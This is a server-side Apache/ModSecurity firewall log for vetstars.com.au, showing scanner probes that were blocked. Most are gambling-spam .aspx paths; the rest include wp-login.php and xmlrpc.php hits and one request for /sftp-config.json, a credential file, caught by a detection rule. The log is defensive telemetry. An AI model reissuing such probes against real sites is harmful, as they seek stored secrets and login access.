[Tue Mar 17 07:15:59.161250 2026] [:error] [pid 22541:tid 22564] [client 51.83.238.207:48852] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abiPL6S6JNY1-CTsTA8KOwAAARI"]
[Tue Mar 17 07:16:04.022280 2026] [:error] [pid 45916:tid 45983] [client 51.83.238.207:48868] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abiPNLiS53PnClk_C9AFmgAAAFU"]
[Tue Mar 17 07:16:07.320771 2026] [:error] [pid 46020:tid 46034] [client 51.83.238.207:48878] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abiPN3-nCcd9BdzGdLcgVgAAAMw"]
[Tue Mar 17 07:16:11.259565 2026] [:error] [pid 45917:tid 46009] [client 51.83.238.207:33824] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abiPOxMMhmeqL5fT_heg_wAAAJQ"]
[Tue Mar 17 07:16:15.245001 2026] [:error] [pid 45916:tid 45965] [client 51.83.238.207:33828] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abiPP7iS53PnClk_C9AFogAAAEM"]
[Tue Mar 17 07:16:18.113808 2026] [:error] [pid 22541:tid 22561] [client 51.83.238.207:33834] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abiPQqS6JNY1-CTsTA8KYAAAAQ8"]
[Tue Mar 17 07:26:03.770383 2026] [:error] [pid 46020:tid 46044] [client 223.244.35.77:47207] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abiRi3-nCcd9BdzGdLcoOQAAANY"]
[Tue Mar 17 07:56:13.765907 2026] [:error] [pid 22541:tid 22562] [client 185.223.152.126:34395] [client 185.223.152.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.126, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abiYnaS6JNY1-CTsTA8fvQAAARA"]
[Tue Mar 17 11:11:53.908454 2026] [:error] [pid 15162:tid 15170] [client 217.182.194.16:41160] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abjGebkCW4399PnBfYSvIQAAAkM"]
[Tue Mar 17 11:11:56.394112 2026] [:error] [pid 45916:tid 45986] [client 217.182.194.16:37612] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abjGfLiS53PnClk_C9B-AAAAAFg"]
[Tue Mar 17 11:11:58.976711 2026] [:error] [pid 14817:tid 14850] [client 217.182.194.16:35090] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abjGfuBWVgTpR3dKOgbJ_QAAAVg"]
[Tue Mar 17 11:12:01.511695 2026] [:error] [pid 15013:tid 15081] [client 217.182.194.16:35102] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abjGgVZc-p7DonmJmm3CvwAAAgQ"]
[Tue Mar 17 11:12:04.384991 2026] [:error] [pid 15011:tid 15071] [client 217.182.194.16:35116] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abjGhMNtgHlAHiPlDyogqwAAAdY"]
[Tue Mar 17 11:12:06.845304 2026] [:error] [pid 45916:tid 45979] [client 217.182.194.16:35126] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abjGhriS53PnClk_C9B-FwAAAFE"]
[Tue Mar 17 11:12:09.978436 2026] [:error] [pid 45916:tid 45964] [client 217.182.194.16:59496] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abjGibiS53PnClk_C9B-IwAAAEI"]
[Tue Mar 17 11:12:12.539622 2026] [:error] [pid 14817:tid 14834] [client 217.182.194.16:59506] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abjGjOBWVgTpR3dKOgbKBgAAAUg"]
[Tue Mar 17 11:12:15.278755 2026] [:error] [pid 14817:tid 14842] [client 217.182.194.16:59512] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abjGj-BWVgTpR3dKOgbKDgAAAVA"]
[Tue Mar 17 11:12:17.627750 2026] [:error] [pid 45916:tid 45985] [client 217.182.194.16:59514] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abjGkbiS53PnClk_C9B-SgAAAFc"]
[Tue Mar 17 11:12:20.158056 2026] [:error] [pid 22541:tid 22554] [client 217.182.194.16:38072] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abjGlKS6JNY1-CTsTA9pVwAAAQg"]
[Tue Mar 17 11:12:22.864401 2026] [:error] [pid 45916:tid 45982] [client 217.182.194.16:38088] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abjGlriS53PnClk_C9B-aAAAAFQ"]
[Tue Mar 17 11:12:25.585876 2026] [:error] [pid 22541:tid 22561] [client 217.182.194.16:38092] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abjGmaS6JNY1-CTsTA9pWAAAAQ8"]
[Tue Mar 17 11:12:28.205511 2026] [:error] [pid 15162:tid 15187] [client 217.182.194.16:38096] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "abjGnLkCW4399PnBfYSvPAAAAlQ"]
[Tue Mar 17 11:12:30.723283 2026] [:error] [pid 15162:tid 15191] [client 217.182.194.16:49320] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abjGnrkCW4399PnBfYSvPwAAAlg"]
[Tue Mar 17 11:12:33.290509 2026] [:error] [pid 22541:tid 22560] [client 217.182.194.16:49334] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abjGoaS6JNY1-CTsTA9pYQAAAQ4"]
[Tue Mar 17 11:12:35.851313 2026] [:error] [pid 45915:tid 45933] [client 217.182.194.16:49344] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abjGo5h7U84ydzcrcndxkgAAAAQ"]
[Tue Mar 17 11:12:38.402891 2026] [:error] [pid 45915:tid 45930] [client 217.182.194.16:49358] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abjGpph7U84ydzcrcndxnQAAAAE"]
[Tue Mar 17 11:12:40.930059 2026] [:error] [pid 45915:tid 45937] [client 217.182.194.16:58366] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abjGqJh7U84ydzcrcndx7QAAAAg"]
[Tue Mar 17 11:12:43.753924 2026] [:error] [pid 45916:tid 45979] [client 217.182.194.16:58382] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "abjGq7iS53PnClk_C9B-sAAAAFE"]
[Tue Mar 17 11:12:47.280912 2026] [:error] [pid 22541:tid 22557] [client 217.182.194.16:58398] [client 217.182.194.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "abjGr6S6JNY1-CTsTA9pigAAAQs"]
[Tue Mar 17 14:02:40.841102 2026] [:error] [pid 22541:tid 22557] [client 223.244.35.77:36021] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abjugKS6JNY1-CTsTA-kNwAAAQs"]
[Tue Mar 17 14:02:50.907480 2026] [:error] [pid 45916:tid 45982] [client 143.44.165.253:59232] [client 143.44.165.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.253, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abjuiriS53PnClk_C9DtuQAAAFQ"]
[Tue Mar 17 14:03:01.978220 2026] [:error] [pid 45915:tid 45952] [client 143.44.165.253:60507] [client 143.44.165.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.253, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abjulZh7U84ydzcrcnfFIQAAABc"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Tue Mar 17 14:03:08.180270 2026] [autoindex:error] [pid 22541:tid 22554] [client 103.4.122.14:54034] AH01276: Cannot serve directory /home/vetstars/public_html/indexing-test/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 17 17:04:18.658284 2026] [:error] [pid 14817:tid 14827] [client 43.130.102.7:47498] [client 43.130.102.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abkZEuBWVgTpR3dKOgYQQgAAAUE"]
[Tue Mar 17 18:21:19.152147 2026] [:error] [pid 45915:tid 45931] [client 103.65.237.234:54255] [client 103.65.237.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "abkrH5h7U84ydzcrcndTTAAAAAI"]
[Tue Mar 17 20:51:23.739752 2026] [:error] [pid 15013:tid 15099] [client 43.140.247.223:35342] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ablOS1Zc-p7DonmJmm1HvwAAAhY"]
[Tue Mar 17 22:11:14.628484 2026] [:error] [pid 15011:tid 15069] [client 106.194.55.25:28453] [client 106.194.55.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.194.55.25, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ablhAsNtgHlAHiPlDypbNgAAAdQ"]
[Wed Mar 18 01:42:00.728332 2026] [:error] [pid 40715:tid 40958] [client 95.91.110.210:31886] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abmSaGcms0rUPgdkLiEH4wAAABQ"]
[Wed Mar 18 01:42:03.220007 2026] [:error] [pid 63612:tid 63632] [client 95.91.110.210:8560] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abmSa-7vPBSR8vo387MwrwAAAZI"]
[Wed Mar 18 01:42:09.365199 2026] [:error] [pid 63449:tid 63457] [client 95.91.110.210:22422] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abmScQplutP4IZ5mr13cBAAAAUY"]
[Wed Mar 18 01:42:14.565425 2026] [:error] [pid 40715:tid 40962] [client 95.91.110.210:22434] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abmSdmcms0rUPgdkLiEH7QAAABg"]
[Wed Mar 18 01:42:20.360318 2026] [:error] [pid 63612:tid 63620] [client 95.91.110.210:35340] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abmSfO7vPBSR8vo387MwyQAAAYY"]
[Wed Mar 18 01:42:24.058224 2026] [:error] [pid 63612:tid 63617] [client 95.91.110.210:35346] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abmSgO7vPBSR8vo387Mw2QAAAYM"]
[Wed Mar 18 01:42:32.268783 2026] [:error] [pid 40716:tid 41024] [client 95.91.110.210:53540] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abmSiBR6i4ByUuhUBAR8NgAAAEM"]
[Wed Mar 18 01:42:37.698269 2026] [:error] [pid 41165:tid 41185] [client 95.91.110.210:53552] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abmSjXEHb7dujURQaRba3AAAARI"]
[Wed Mar 18 01:42:41.006674 2026] [:error] [pid 63612:tid 63616] [client 95.91.110.210:52226] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abmSke7vPBSR8vo387Mw8wAAAYI"]
[Wed Mar 18 01:42:43.752874 2026] [:error] [pid 63412:tid 63435] [client 95.91.110.210:52234] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abmSkzKUzzFOGoXRLQ-9lAAAANM"]
[Wed Mar 18 01:42:46.420915 2026] [:error] [pid 40717:tid 41068] [client 95.91.110.210:52238] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abmSlsR22EbC70ICesgR-AAAAJA"]
[Wed Mar 18 01:42:49.063656 2026] [:error] [pid 63412:tid 63433] [client 95.91.110.210:62352] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abmSmTKUzzFOGoXRLQ-9mAAAANE"]
[Wed Mar 18 01:42:51.746072 2026] [:error] [pid 63449:tid 63473] [client 95.91.110.210:62368] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abmSmwplutP4IZ5mr13cPwAAAVY"]
[Wed Mar 18 01:42:54.523525 2026] [:error] [pid 40716:tid 41037] [client 95.91.110.210:62384] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abmSnhR6i4ByUuhUBAR8ewAAAFA"]
[Wed Mar 18 01:44:19.609311 2026] [:error] [pid 63612:tid 63615] [client 95.91.110.210:24832] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abmS8-7vPBSR8vo387MyHQAAAYE"]
[Wed Mar 18 01:44:22.368755 2026] [:error] [pid 63412:tid 63430] [client 95.91.110.210:2788] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abmS9jKUzzFOGoXRLQ--IQAAAM4"]
[Wed Mar 18 01:44:25.792384 2026] [:error] [pid 63612:tid 63620] [client 95.91.110.210:2796] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abmS-e7vPBSR8vo387MyJAAAAYY"]
